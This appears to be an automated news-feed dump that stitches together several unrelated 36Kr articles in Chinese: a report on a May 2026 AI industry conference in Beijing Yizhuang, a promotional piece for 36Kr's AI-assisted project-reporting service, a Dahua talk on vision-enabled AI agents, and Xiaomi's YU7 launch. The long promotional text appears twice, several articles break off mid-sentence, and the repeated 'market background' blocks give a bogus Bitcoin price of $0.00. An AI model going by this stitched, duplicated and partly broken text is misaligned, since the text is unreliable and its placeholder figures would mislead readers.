2026年的AI行业，正在经历一次价值体系的深层重构。过去两年，聚光灯始终偏向技术侧——参数、算力、榜单排名。但今天，话语权正在向产业方转移：那些拥有真实需求、真实场景、真实业务压力的企业，开始掌握定义权。产业界最关切的问题变得具体而迫切：在必须交付结果的地方，AI到底靠不靠得住？ 5月19日，以“带着AI去前线”为主题的2026 AI Partner大会在北京亦庄通明湖会展中心开幕。本次大会由北京经开区管委会指导、36氪主办、国家信创园承办。作为首都高精尖产业的主阵地，北京经开区正以场景开放为核心，构建覆盖多领域的“全域AI试验场”。本届大会正是这一思路从“规划”走向“实战”的集中体现。 36氪与北京经开区在推动AI产业落地的战略上深度契合。作为产业创新的长期观察者与连接者，36氪紧扣经开区的全域场景蓝图，专门设立AI+产业对接会，让需求与方案现场碰撞，加速“AI+”在实体经济中生根。正是这一设计，让外会场供需双方的热情远超预期——需求方带着痛点来，技术方带着方案上，让合作当场发生！

“带着AI去前线”：不是口号，是判断大会期间，36氪CEO冯大刚接受中央广播电视总台等媒体采访时表示：“‘带着AI去前线’不只是一句口号，而是一个判断。”他指出，当一种技术的颠覆力超越互联网，它就不再是一个赛道，而是一个基础设施。这次大会不是一场AI会，而是一场产业大会——主角是金融、医疗、制造、消费、能源，而AI是他们共同的语言。 DAY 1 · 算好账：看清趋势，算清成本本次大会在北京亦庄的欢迎致辞中正式拉开帷幕。他表示：“北京亦庄正打造的不是单一的样板间，而是一个开放包容的创新验证体系。把AI从‘热点’变成‘日常’，从‘可能性’变成‘生产力’。”随后，36氪CEO冯大刚在开场致辞中强调：“36氪的AI大会不是要办一个‘AI焦虑大会’。AI的价值，是让人更有用，而不是让人出局。”这番定调，直接拉开了首日上午“政策红利与产业实战”的序幕。

首场圆桌由贝恩全球合伙人成鑫主持，与上海市人工智能行业协会、美的集团AI研究院、云岫资本、京东的代表，共同探讨“AI+的国家推进计划与企业生存路线图”。据美的给出的数据显示：仅AIGC项目去年降本7亿元；京东透露已免费开放数字人直播，活跃商家超7万家。随后，优必选首席品牌官谭旻复盘了人形机器人商业化路径：14年创业，如今已跑通工业场景小规模量产。顺丰科技高级副总裁唐恺展示供应链AI实战数据：内部每天运行5000多个Agent，日消耗800亿token，路径优化算法从分钟级降至毫秒级。京东方AIoT技术营销部部长陈玮萌则在现场分享了从“卖屏”到“卖屏+算法”的转型。当日上午，“2026 AI最佳场景渗透案例”揭晓，从近200个申报中筛选出55个真正跑通ROI的标杆。紧接着，蚂蚁集团NEXTA创新实验室负责人何思翀主持了一场关于“引入AI，先改流程还是先换人”的圆桌，与学者、制造企业、技��专家展开交锋。

下午，金融、内容、算力、数字资产、大健康、农业、工业制造、医疗等领域的实战案例依次展开：金智维、银河期货拆解AI在金融风控中的实际替代率；趣丸科技、MiniMax、柠萌影视探讨AI创作下人的位置；英博数科、艾迪普、百度健康、陆渔科技等企业分别从算力底座、数字资产、大健康、农业、工业ERP角度贡献案例。最后一场圆桌由36氪基金投资副总裁郑王宇主持，抛出“当AI完成80%标准化工作，剩下20%的人该做什么”的终极问题。 DAY 2 · 谈好事：搞定技术，搞定人才次日上午，议程聚焦具身智能、汽车设计、用户洞察、机器人规模化、无人车、视觉智能等前沿领域：智域基石CTO徐良威谈具身智能数据供给革命；阿尔特汽车副总裁刘亚彬分享AI如何走进汽车设计；NIQ创新事业部总经理赵晓鹏分析AI时代用户需求；酷哇科技联合创始人李柯宏讲述城市机器人从试点到规模化落地；新石器无人车联合创始人颉晶华展示从智能驾驶到智能调度的AI一体化方案；大华股份研发中心副总裁周文凯探讨视觉智能×AI Agent重构智慧物联。随后，一场关于“下一个杀手级AI产品”的圆桌集中交锋。接着，36氪与PureblueAI清蓝联合发布“2026重点行业GEO实践标杆企业”；北京中关村学院、首都体育学院、京奥电竞等共同启动“带着AI去赛场”战略签约。最后，“特别致敬人物”环节为“灯塔者”与“破壁者”颁奖，致敬敢在朦胧期验证AI落地的探路人。到了下午，数字体验、国际教育、商业化落地、工业质检、人才共生、边缘计算等话题接力：上海蜚语信息科技副总裁薛冰主持“AI浓度与转化率”圆桌；新通教育集团创始人麻亚炜谈AI重构国际教育；集思科技CEO李世尊分享多行业商业化落地；广州搞搞镇文化科技创始人崔健南等参与讨论；因特智能科技CEO刘金硕聚焦工业质检；36氪主编帮主主持“AI原生人才与产业老炮共生”圆桌；江行智能联合创始人陈龙阐述从感知环境到改变世界物理AI的机遇、路径与实践。最后一场圆桌由36氪基金投资副总裁郑王宇主持，再次将“人与机器的终极分工”问题抛向全场。两天设有九场圆桌对话、二十余场主题演讲，覆盖AI+制造、金融、医疗、零售、供应链、内容生产、教育、汽车、机器人等十余个方向。

外场“世界咖啡”： 13家需求方坐庄，36家技术方轮战如果说内场解决“怎么看”，外场就是解决“怎么干”。

“世界咖啡”产业对接会没有观众席——13家带着真场景、真预算、真痛点的需求方各占一桌，覆盖金融、商业地产、环保、零售、餐饮、服饰、生物科技、汽车零部件等十余个领域。36家技术方能力覆盖数字员工、多模态检测、工业仿真、AI编剧、农业遥感等几乎所有落地切口。

对接会覆盖四大方向：AI+科学技术、AI+产业发展、AI+消费提质、AI+民生福祉。需求方固定，技术方每30分钟轮转一桌，两天累计超过100轮对接。主办方不做随机匹配，每一轮都提前交叉验证。现场已有企业当场建联、实景考察，甚至出现技术方被两家需求方同时“抢人”的场景。外场的“需求墙”和“能力榜”上，又收集了上百条新增需求，手写补充需求越贴越密，手里的“世界咖啡”喝空了一杯又一杯，也没有人想要提前离场。

亦庄的定位：不挂虚牌，只开真场本次大会落地北京亦庄也并非偶然。北京经开区不建封闭的AI试验园区，而是把整座城市作为AI与实体经济融合的载体。政务审批、医疗诊断、工业制造、自动驾驶等真实场景，均成为AI技术的全景“试验场”。2026年初，北京经开区出台《关于进一步加快建设全域人工智能之城的实施方案（2026—2027年）》，确立“四全”框架，加速搭建城市级工程实验平台。第一批综合应用场景已梳理出24个大项、88个子场景，面向社会公开征集解决方案。有意揭榜的企业，扫码即可提交技术能力意向，直通经开区需求池。

北京经开区全域人工智能之城建设第一批综合应用场景解决方案合作意向企业征集二维码

文章来源

标题: 能落地的请留下，讲故事的请离场
来源: ai
链接: https://36kr.com/p/3820169156890759?f=rss
时间: 2026-05-22 15:58:39 +0800

核心内容

让合作当场发生！

外场“世界咖啡”： 13家需求方坐庄，36家技术方轮战如果说内场解决“怎么看”，外场就是解决“怎么干”。

北京经开区全域人工智能之城建设第一批综合应用场景解决方案合作意向企业征集二维码

内容来源：ai 原文链接：https://36kr.com/p/3820169156890759?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T09:00:51.945544+00:00

致敬：36氪AI寻求报道 - 让好项目，更早被看见

Fri, 22 May 2026 09:00:45 +0000

原文摘要

让好项目，更早被看见 ——36 氪「AI 寻求报道」：不止是曝光，更是早期价值的专业连接提交报道链接：https://36kr.com/seek-report-new?t=1779418211266

36氪AI寻求报道很多项目第一次被行业真正看见，往往已经不是它最需要被看见的时候。那时候，它可能已经拿了融资，跑出了数据，进入了热门赛道，也开始频繁出现在投资人、媒体和产业方的视野里。但创业不是从融资新闻开始的。在更早的时候，一个项目可能只是一支还不够知名的团队，一个刚刚跑通的产品，一个藏在垂直行业里的新方法，或者一个还没有被充分解释清楚的市场判断。它不一定站在风口中央，也不一定拥有明星机构背书。更多时候，它甚至还没学会把自己的价值讲清楚。但这并不意味着它不值得被看见。 36氪推出「AI寻求报道」，想做的正是这件事：把好项目被看见的时间，再往前推一点。它不是一个简单的发稿入口，也不是把项目包装成流量故事的工具。更准确地说，它是一套面向项目方、FA、投资机构、园区、孵化器和产业服务方开放的项目发现与内容表达机制。我们希望通过更轻量的提报方式、更结构化的信息采集、AI 辅助成稿与人工审核，让那些有实质推进、有成长潜力、有行业意义的项目，在还没有被充分讨论之前，先获得一次被认真理解的机会。一、很多项目缺的不是曝光，是一次有效表达在创投市场里，信息从来不稀缺。每天都有大量项目在融资、路演、找客户、谈合作、发产品。真正稀缺的是：能被投资人、产业方、媒体和潜在客户快速理解的信息。我们见过太多这样的项目。技术打磨了很久，客户也在推进，但对外表达还停留在“我们是某某领域的创新者”；业务已经有了进展，但材料里全是功能介绍，看不出它到底解决了什么问题；创始人对行业很熟，但一到公开表达，就很难讲清楚“为什么是现在，为什么是我们，为什么值得关注”。这不是项目没有价值。很多时候，是价值还没有被翻译成行业能够理解的语言。一个项目解决什么问题？面向什么客户？产品跑到了什么阶段？和已有方案相比，有什么不同？客户为什么愿意买单？团队凭什么能做成这件事？这些问题，往往比一句“我们很创新”更重要。「AI寻求报道」想解决的，不只是帮项目写一篇文章，而是帮助项目完成一次更清晰的价值组织：把分散在 BP、官网、路演材料、融资计划和创始人口述里的信息收拢起来，把复杂的业务讲清楚，把值得被关注的部分放回合适的创投语境里。对项目方来说，这可能是一张更清楚的公开名片。对 FA、园区和产业服务方来说，这也是帮助服务项目从私域介绍、BP 转发和一对一沟通中走出来，形成可沉淀、可检索、可传播的公开内容资产。对投资人和产业方来说，它也可能成为观察早期项目、细分赛道和水下信号的新入口。降低门槛，但不降低判断标准创投报道天然更容易捕捉已经被验证的结果。大额融资、明星机构、头部赛道、快速增长，这些当然重要。它们构成了市场主线，也帮助行业判断趋势。但如果内容平台只看见已经发生的结果，就很容易错过那些正在形成中的信号。很多早期项目还没有足够大的融资金额，很多细分赛道短期内并不热闹，很多中小企业的创新也不一定天然具备强话题性。它们未必适合被包装成“大新闻”，但其中一部分，确实代表着某个行业正在发生的真实变化。 36氪「AI寻求报道」想降低的，是优质项目第一次被看见的门槛。二、降低门槛，不等于降低标准我们欢迎这样的项目：项目可以早期，但不能没有实质推进；赛道可以小众，但不能没有明确价值；项目可以尚未融资，但应该有清楚的产品、服务、客户、技术积累、商业模式或行业判断。这不是一个无差别的信息发布通道，我们拒绝这样的项目：纯概念阶段、信息无法核验、只靠包装堆砌概念、缺少真实产品或服务进展的项目，并不适合这个入口。36氪希望服务的是那些认真做事、真实推进、并且有内容值得被行业理解的项目。真正值得被看见的项目，不一定已经很大，但一定应该有可被理解、可被验证、可被继续追踪的内容。三、AI 提高效率，人工守住边界，36氪完成连接 AI 在「AI寻求报道」里的角色，不是替代媒体判断。它更像一个高效率的采编助手。通过自助采访和结构化提问，AI 可以帮助项目方把零散信息重新组织起来，通过辅助成稿。它可以降低项目完成第一次公开表达的时间成本。通过问题引导，它也能让项目更系统地回答外部世界真正关心的问题。但一篇内容是否适合发布，仍然需要经过人工审核。报道的价值不只是“生成出来”，更在于它是否真实、清楚、克制、有边界。AI 可以提升效率，但不能替项目虚构价值；AI 可以优化表达，但不能替代平台的内容判断。 36氪「AI寻求报道」真正想建立的，是一套“技术效率 + 内容标准 + 平台连接”的机制。 AI 负责提高信息组织和初稿生成效率；人工审核负责守住内容边界； 36氪平台则负责把项目放回创投与产业语境中，让更多投资人、产业方、创业者、行业读者和潜在合作伙伴有机会理解它。这件事的价值，不是让项目在信息流里多出现一次。而是让它以更清楚、更专业、更可信的方式，进入行业视野。四、为什么是 36氪寻求报道因为 36氪长期站在创业者、投资人和产业之间。过去多年，36氪持续记录中国新经济公司从早期融资、产品发布、商业化探索到产业成熟的全过程。我们理解创业公司的表达需求，也理解投资人和产业读者真正关心什么。他们关心的不是空泛的愿景，不是堆砌的概念，而是清楚的问题、真实的进展、可信的逻辑，以及可持续追踪的成长性。 36氪的能力不只是发布渠道，更是创投语境。我们知道一个项目应该如何被放进产业变化里理解，知道哪些信息能够帮助投资人快速判断，知道一篇项目内容如何从“自我介绍”变成“行业可读”。这也是「AI寻求报道」区别于普通发稿、模板通稿和单纯 AI 写作工具的地方。它不是让项目自己在信息流里大声喊话，而是帮助项目以更清楚、更可信的方式，进入 36氪长期积累的内容场域。对于项目方来说，这意味着不光是获得一篇文章，而是获得一次被行业认真理解的机会。对于 FA 和机构来说，这意味着服务中的项目不只是多一个曝光动作，而是多一种可沉淀、可转发、可被外部理解的项目表达方式。对于 36氪来说，这也意味着项目发现的入口被进一步前移。我们不仅记录那些已经跑出来的公司，也希望更早捕捉那些正在生成中的新公司、新产品、新模式和新趋势。五、今天的水下项目，可能是明天的行业变量我们尊重每一个还没有被充分看见的项目。但这种尊重，不是无差别地放大每一个声音。我们不是要把每一个项目都包装成“下一个独角兽”。相反，我们更希望帮助项目回到它真实的位置：把该说清楚的事情说清楚，把值得被看见的部分呈现出来，把可能关注它的人连接起来。一次报道未必立刻改变一个项目的命运。但

文章来源

标题: 致敬：36氪AI寻求报道 - 让好项目，更早被看见
来源: ai
链接: https://36kr.com/p/3820226045104257?f=rss
时间: 2026-05-22 16:55:24 +0800

核心内容

让好项目，更早被看见 ——36 氪「AI 寻求报道」：不止是曝光，更是早期价值的专业连接提交报道链接：https://36kr.com/seek-report-new?t=1779418211266

36氪AI寻求报道很多项目第一次被行业真正看见，往往已经不是它最需要被看见的时候。那时候，它可能已经拿了融资，跑出了数据，进入了热门赛道，也开始频繁出现在投资人、媒体和产业方的视野里。但创业不是从融资新闻开始的。在更早的时候，一个项目可能只是一支还不够知名的团队，一个刚刚跑通的产品，一个藏在垂直行业里的新方法，或者一个还没有被充分解释清楚的市场判断。它不一定站在风口中央，也不一定拥有明星机构背书。更多时候，它甚至还没学会把自己的价值讲清楚。但这并不意味着它不值得被看见。 36氪推出「AI寻求报道」，想做的正是这件事：把好项目被看见的时间，再往前推一点。它不是一个简单的发稿入口，也不是把项目包装成流量故事的工具。更准确地说，它是一套面向项目方、FA、投资机构、园区、孵化器和产业服务方开放的项目发现与内容表达机制。我们希望通过更轻量的提报方式、更结构化的信息采集、AI 辅助成稿与人工审核，让那些有实质推进、有成长潜力、有行业意义的项目，在还没有被充分讨论之前，先获得一次被认真理解的机会。一、很多项目缺的不是曝光，是一次有效表达在创投市场里，信息从来不稀缺。每天都有大量项目在融资、路演、找客户、谈合作、发产品。真正稀缺的是：能被投资人、产业方、媒体和潜在客户快速理解的信息。我们见过太多这样的项目。技术打磨了很久，客户也在推进，但对外表达还停留在“我们是某某领域的创新者”；业务已经有了进展，但材料里全是功能介绍，看不出它到底解决了什么问题；创始人对行业很熟，但一到公开表达，就很难讲清楚“为什么是现在，为什么是我们，为什么值得关注”。这不是项目没有价值。很多时候，是价值还没有被翻译成行业能够理解的语言。一个项目解决什么问题？面向什么客户？产品跑到了什么阶段？和已有方案相比，有什么不同？客户为什么愿意买单？团队凭什么能做成这件事？这些问题，往往比一句“我们很创新”更重要。「AI寻求报道」想解决的，不只是帮项目写一篇文章，而是帮助项目完成一次更清晰的价值组织：把分散在 BP、官网、路演材料、融资计划和创始人口述里的信息收拢起来，把复杂的业务讲清楚，把值得被关注的部分放回合适的创投语境里。对项目方来说，这可能是一张更清楚的公开名片。对 FA、园区和产业服务方来说，这也是帮助服务项目从私域介绍、BP 转发和一对一沟通中走出来，形成可沉淀、可检索、可传播的公开内容资产。对投资人和产业方来说，它也可能成为观察早期项目、细分赛道和水下信号的新入口。降低门槛，但不降低判断标准创投报道天然更容易捕捉已经被验证的结果。大额融资、明星机构、头部赛道、快速增长，这些当然重要。它们构成了市场主线，也帮助行业判断趋势。但如果内容平台只看见已经发生的结果，就很容易错过那些正在形成中的信号。很多早期项目还没有足够大的融资金额，很多细分赛道短期内并不热闹，很多中小企业的创新也不一定天然具备强话题性。它们未必适合被包装成“大新闻”，但其中一部分，确实代表着某个行业正在发生的真实变化。 36氪「AI寻求报道」想降低的，是优质项目第一次被看见的门槛。二、降低门槛，不等于降低标准我们欢迎这样的项目：项目可以早期，但不能没有实质推进；赛道可以小众，但不能没有明确价值；项目可以尚未融资，但应该有清楚的产品、服务、客户、技术积累、商业模式或行业判断。这不是一个无差别的信息发布通道，我们拒绝这样的项目：纯概念阶段、信息无法核验、只靠包装堆砌概念、缺少真实产品或服务进展的项目，并不适合这个入口。36氪希望服务的是那些认真做事、真实推进、并且有内容值得被行业理解的项目。真正值得被看见的项目，不一定已经很大，但一定应该有可被理解、可被验证、可被继续追踪的内容。三、AI 提高效率，人工守住边界，36氪完成连接 AI 在「AI寻求报道」里的角色，不是替代媒体判断。它更像一个高效率的采编助手。通过自助采访和结构化提问，AI 可以帮助项目方把零散信息重新组织起来，通过辅助成稿。它可以降低项目完成第一次公开表达的时间成本。通过问题引导，它也能让项目更系统地回答外部世界真正关心的问题。但一篇内容是否适合发布，仍然需要经过人工审核。报道的价值不只是“生成出来”，更在于它是否真实、清楚、克制、有边界。AI 可以提升效率，但不能替项目虚构价值；AI 可以优化表达，但不能替代平台的内容判断。 36氪「AI寻求报道」真正想建立的，是一套“技术效率 + 内容标准 + 平台连接”的机制。 AI 负责提高信息组织和初稿生成效率；人工审核负责守住内容边界； 36氪平台则负责把项目放回创投与产业语境中，让更多投资人、产业方、创业者、行业读者和潜在合作伙伴有机会理解它。这件事的价值，不是让项目在信息流里多出现一次。而是让它以更清楚、更专业、更可信的方式，进入行业视野。四、为什么是 36氪寻求报道因为 36氪长期站在创业者、投资人和产业之间。过去多年，36氪持续记录中国新经济公司从早期融资、产品发布、商业化探索到产业成熟的全过程。我们理解创业公司的表达需求，也理解投资人和产业读者真正关心什么。他们关心的不是空泛的愿景，不是堆砌的概念，而是清楚的问题、真实的进展、可信的逻辑，以及可持续追踪的成长性。 36氪的能力不只是发布渠道，更是创投语境。我们知道一个项目应该如何被放进产业变化里理解，知道哪些信息能够帮助投资人快速判断，知道一篇项目内容如何从“自我介绍”变成“行业可读”。这也是「AI寻求报道」区别于普通发稿、模板通稿和单纯 AI 写作工具的地方。它不是让项目自己在信息流里大声喊话，而是帮助项目以更清楚、更可信的方式，进入 36氪长期积累的内容场域。对于项目方来说，这意味着不光是获得一篇文章，而是获得一次被行业认真理解的机会。对于 FA 和机构来说，这意味着服务中的项目不只是多一个曝光动作，而是多一种可沉淀、可转发、可被外部理解的项目表达方式。对于 36氪来说，这也意味着项目发现的入口被进一步前移。我们不仅记录那些已经跑出来的公司，也希望更早捕捉那些正在生成中的新公司、新产品、新模式和新趋势。五、今天的水下项目，可能是明天的行业变量我们尊重每一个还没有被充分看见的项目。但这种尊重，不是无差别地放大每一个声音。我们不是要把每一个项目都包装成“下一个独角兽”。相反，我们更希望帮助项目回到它真实的位置：把该说清楚的事情说清楚，把值得被看见的部分呈现出来，把可能关注它的人连接起来。一次报道未必立刻改变一个项目的命运。但

内容来源：ai 原文链接：https://36kr.com/p/3820226045104257?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T09:00:45.618411+00:00

让智能体看见世界：CV × AI Agent 的行业场景新实践| 2026AI Partner·北京亦庄AI+产业大会

Fri, 22 May 2026 09:00:39 +0000

原文摘要

让智能体“看见”世界，不是给它装上摄像头那么简单。当CV遇上AI Agent，乘数效应正在发生。AI Agent不等于Chatbot，真正的价值在于静默看护与自主决策。

AI进入产业腹地仍面临两大鸿沟：视觉认知与行业的理解。为此，大华股份构建了星汉大模型系列——V系列视觉大模型让系统“看得懂”物理世界，L系列行业模型打通业务逻辑。未来“基模+行业Know-how”将成为新范式，而AI的终局不是刷榜，是让每个行业、每个个体都不掉队。以下为大华股份研发中心副总裁周文凯演讲内容，经36氪整理编辑：

周文凯丨大华股份研发中心副总裁非常感谢北京亦庄和36氪给我们这个机会来给大家做一个分享。我今天分享的主题是让智能体看见世界。为什么让智能体看见世界？看见世界并不是让数字世界的智能体装上摄像头，或者输入视频数据让它看得到物理世界这么简单，CV × AI Agent，为什么是乘，CV是视觉计算，AI Agent是智能体，让数字世界的AI智能体可以认知物理世界非常重要，这两个事情并不是特性和功能的孤立，而是相互乘数效应的加强。我们对于数字世界的决策可以利用对物理世界的认知正在发生什么事情的认知，给带来更大的帮助。我们开始今天的分享。 2022年ChatGPT面世，自发布至今已三年多，AI产业发生了非常大的变化。我们看到AI更多的发展是在2C消费者领域，在政企、行业落地过程中依然遇到非常多的问题。从硬件角度上看，过去三年非常强调GPU的计算，不管对于视觉上的GPU运算还是看到一系列的推理、训练过程中对GPU的使用，到现在我们回头来重新审视在AI Agent任务编排中CPU的使用。硬件角度，不管是资源调度、系统连接、任务流程等，我们越来越关注在硬件载体上，CPU和GPU的平衡。技术突破，2023年我们看提示词工程，大家关注怎么让智能体了解我们的业务，了解我们的意图，到2024年我们希望通过面向各种行业的知识库来让智能体可以离我们的产业更近，2025年我们讲长上下文，MoE专家模型来节省推理资源，以及到今年我们看到以Open Claw为代表的自主AI Agent变得非常普遍。模型和产业之间的连接越来越紧密，模型也变得越来越聪明。产业角度，把Agent变成大模型作为搜索引擎和工具，Agent融入到业务流程，不管是从��术、硬件角度，可以看到产业对AI的场景适配提出比算法本身更强烈的诉求。这里面依然有两个GAP很难跨过去，我刚才讲的一个是CV，一个是Agent对行业数据以及行业业务流程的理解。

大华是从安防起家逐步进入到现在面向于智慧物联的产业赛道，在CV和AI Agent两个领域，这几年有非常多的实践跟大家分享。首先在视觉AI上，大华2016年基于人像、车辆视图数据的结构化，希望让我们的系统、摄像头可以“看得清”这个世界；到2023年我们发布了星汉大模型，围绕物理世界全局和局部的解析，让我们的数智化系统可以“看得懂”这个世界；今年我们进一步推动AI具备“自主认知”物理世界的能力，并在此基础上升级构建了星汉大模型系列，包括 V 系列（视觉大模型）、L 系列（语言大模型）和 M 系列（多模态大模型）模型集。有这样一个模型框架，可以让面向用户的应用范式发生巨大的改变，我们为用户构建了全域泛在的感知系统：既可以全局看一个城市、一个园区、一个企业的运行态势，同时还可以聚焦到任何局部物体的信息，来实现智能识别。我们打造了自主效率引擎，为智能体构建更强、更方便的视觉插件，同时升级了智能体系，通过视觉的小模型、大模型之间的协作，从而提升对物理世界认知的效率。另一部分是智能体，在2023年我们发布了从L1到L4行业智能体的构建逻辑：L1围绕着基础大模型实现知识库和智能问答；L2是在整个业务流程里，以AI强化包括视觉、认知、决策、执行等各个环节；L3则是AI参与部分决策，在子业务链路中实现闭环；L4希望能够产生对业务环境的深刻理解，能自主行动规划并持续进化。从L1到L4，本质上是在讲人和智能体之间的关系，在与AI Agent协作过程中，人参与的环节越来越少。Human in the Loop，但人参与的是更高级别的决策。在L4自主AI Agent的构建中，我简单画了一个框架图，基于已经积累的视图中台以及数据中台，我们构建了AI Agent Loop智能体框架，包含视觉识别、业务编排、行业Skills、自主能力引擎等模块，人和Agent之间形成面向行业业务有效的协作。现在我们讲到大模型，行业里许多人认为是通过对话框和智能体之间实现交互和连接。但事实上我们要面对物理世界的时候，需要的是能够辅助人的外脑，而这个外脑在很多时候是在为用户做着静默看护和决策。智能体会让我们的用户与他的数据以及业务系统之间的关系产生更深刻的变化。在过往这些年里大华积累了面向前端感知和后端存储、集成系统等一系列全栈智能硬件的载体，我们也有面向各类场景的视觉大小模型，构建了不断沉淀行业Know-How业务组件的“萤火虫”平台。大模型深入行业最大的鸿沟在于如何连接AI和行业中广泛存在的数据和系统孤岛，而这些行业的Know-How积累在过往所有信息化系统，我们需要组件化脚手架，形成知识资产，而这些知识和工具就是大模型外脑得以连接我们用户的系统，产生新的乘数效应的地方。这里有三个Demo给大家呈现。公共安全领域，在景区接到小孩丢失报警，智能体自主目标设定、任务编排，需要找寻的小孩什么时间、什么地点走失，身体特征是什么样，跟线索追踪、轨迹预测；一旦锁定人体特征后，根据小孩的行速特征，在整个监控地图轨迹上尝试预测有可能往哪些方向，他的行踪有哪些方向走动，同时在他能涉及的地点范围内，去找寻现场巡逻的比如保安、摄像头；快速定位到这些人员，同时下发整个广播、保安等一系列可供执行的单元。在这个场景中智能体深度整合了目标设定、视觉识别、任务规划、轨迹追踪预测到最后的action调度执行落地等能力。工业巡检Agent，在巡检过程中我们会关心设备的质量运行情况、工人操作的规范性，以及工人背后的服务资质等要素，我们有智能体对安全场景的判断非常专业，同时有智能体对资质审核非常专业，这些智能体可以在AI Agent领域里编排，自主实现对场景的把控以及危险情况的预警。这段Demo体现的是输电电站场地机器人的巡检。

最后这个例子是面向于森林防火。传统的做法是需要人守着巨大的林场，当发生火情报警，人要到现场做确认。当有了CV和AI Agent有效协作后，可以调度摄像头、无人机实现二次确认。Agent不再只是根据我们的指令去做程式化的事情，它有自主决策的能力可以调度它所需要的感知单元，去灵活处理应急事件，同时让人非常有效地在关键时参与到流程里，发挥决定性的作用。业界已经有比较大的共识，整个AI产业我们做了分层，从能源、基础设施到大模型计算范式、工具集成、智能体以及整个产业生态，能源和基础设施——如果我们按中西方比较，中国有非常强的效率和成本优势，而在大模型和计算范式，我们处于追赶者角色。在这里可以看到大模型的能力不断往行业倾斜，从OpenClaw刚发布到后面不少大模

文章来源

标题: 让智能体看见世界：CV × AI Agent 的行业场景新实践| 2026AI Partner·北京亦庄AI+产业大会
来源: ai
链接: https://36kr.com/p/3820220616495492?f=rss
时间: 2026-05-22 16:57:09 +0800

核心内容

内容来源：ai 原文链接：https://36kr.com/p/3820220616495492?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-22T09:00:39.685942+00:00

小米YU7家族再推新车，雷军：标准版打特斯拉，GT版狙BBA

Fri, 22 May 2026 09:00:33 +0000

原文摘要

5月21日晚，小米正式发布YU7系列两款全新车型：标准版起售价23.35万元，GT版起售价38.99万元。至此，YU7车系已扩展至5款车型，价格区间覆盖23.35万元至38.99万元。 YU7是小米于2025年6月推出的首款SUV，上市当晚3分钟内大定订单突破20万辆。发布会上，雷军展示了YU7与特斯拉Model Y的销量对比：2025年7月至2026年4月，YU7累计交付23.2万辆，Model Y则为35.8万辆。从月度交付表现看，今年1月YU7交付37869辆，成为中国汽车市场全品类销量冠军。然而，随着市场竞争加剧，YU7近几个月的交付量有所回落。在小米的调研中，特斯拉Model Y的订单中约70%为续航593公里的后驱标准版。对许多用户而言，500-600公里续航已足够日常通勤，且特斯拉的五年免息政策吸引力显著，有用户直言该政策相当于直接减免2万元。雷军坦言，YU7项目初期便规划了类似的后驱标准版车型。“说实话，当时我们认为产品线过于复杂，因此从4款减为3款，砍掉了标准版，这对YU7与Model Y的竞争尤其不利。经过复盘，我们决定把标准版加回来，这样就能实现‘标准版对标准版、长续航对长续航’的直面竞争。无论对方如何推出五年零息，我们都有绝对的竞争力。” 此次推出的YU7标准版售价23.35万元，价格较此前再降2万元，相比Model Y更低3万元，而配置上仅电池与连续阻尼可变减振器有所区别。此次发布的另一款新车YU7 GT，则被小米定位为“满血GT”。在发布会后的交流环节，雷军向36氪等媒体阐释了YU7、YU7 GT与小米Ultra系列的区别：“YU7要兼顾驾驶乐趣与家庭使用，GT是全能车型，Ultra虽可日常使用，但主要角色仍是跑车”。相较于YU7标准版直接对标特斯拉Model Y，雷军表示YU7 GT的目标客户更多来自以往选择BBA豪华品牌的人群。 YU7 GT的另一重要标签是小米德国研发团队。该团队由小米从宝马、保时捷等顶尖车企招募人才组建，这支精锐队伍，帮助YU7 GT拿下了纽北赛道SUV圈速榜首位。从SU7 Ultra到YU7 GT，小米似乎对“纽北”情有独钟。胡峥楠向36氪等媒体透露，纽北刷圈是手段，而非目标，“最早提出要去纽北时，工程团队是反对的，因为我们没有人具备纽北经验”。而小米坚持扎根纽北，除了能为车辆调校积累宝贵经验外，更重要的原因是，“小米的目标是进入全球市场。要进入全球市场，就必须与全球顶尖公司在同一平台上、用大家都能看懂的语言竞争”。雷军告诉36氪，过去五年小米已搭建起近万人的研发团队，其中拥有15-20年以上造车经验的工程师达1500人，总投入接近300亿元。 2021年宣布造车时，雷军曾提出“10年投入百亿美元”的口号，从小米当前的研发布局与成果来看，其造车决心可见一斑。在发布会后的交流会上，近日刚被官方披露的小米汽车部副总裁、参谋长宋钢首次公开亮相。36氪此前报道，宋钢曾在上汽通用、福特、特斯拉、远景新能源等企业工作，他任特斯拉上海工厂厂长期间，创造了当年从开工到量产交付的“特斯拉速度”。过去两年，量产交付一度是小米最头疼的难题。YU7上市当晚，交付周期曾排至36个月后。宋钢直言，生产交付很大程度上限制了YU7获取更多订单。 “过去一年，销售、供应链、生产团队都非常努力，做了大量工作。目前我们已将生产准备工作做到极致，所有准备都做在前面。供应链爬坡的速度和质量都达到非常快的水平，小米自身也具备了良好的生产效率。” 雷军补充说明，目前YU7的交付周期已控制在2-3个月，有现车的城市甚至可实现2小时交付；制造难度更大的YU7 GT也能在6周内完成交付。从对标特斯拉Model Y的标准版，到瞄准BBA用户的GT版，小米试图通过差异化产品矩阵覆盖更广泛的消费群体。纽北赛道的执着与欧洲研发团队的建立，则表明了小米进军全球市场的决心。既要快速实现规模扩张、又要冲击高端与全球化，小米将长期面对研发、成本、品牌与供应链的重重挑战。以下是小米高管团队和36氪等媒体的交流，不改变原意的基础上，略经编辑：问：YU7 GT和YU7在产品定位、目标人群上有什么差异？雷军：小米YU7以前我们介绍过，它是一款高性能的豪华SUV，主打驾驶者之车，既适合自己开，也要适合家庭和日常使用，也很在乎它的豪华舒适度。 GT是YU7系列的旗舰性能，它的定位就是满血GT。既要有跑车级的外观、跑车级的性能，而且还要适合日常旅行，包括平时日常通勤，它是一款全能型的车型。而GT跟Ultra的定位也是不一样的，Ultra这个车定位是一个赛车、跑车，你可以上下班用，但是更重要的是它是一款跑车。我们也做了一些用户的调研，主要吸引的人群就是过去BBA豪车的人群，他们希望拥有很澎湃的动力，又能希望能够日常上下班，所以包括长途旅行，包括兼顾家人，所以整个GT就是一款为这群人设计的梦想之车。问：为何选在这个时间点，重新推出YU7标准版？雷军：我们调研过，70%的Model Y用户选择了593公里的版本，很多用户觉得500、600公里日常通勤已经够用了。实话说，当时我们认为我们的产品线过于复杂，所以从4款改为3款，少了一款标准版，对YU7和Model 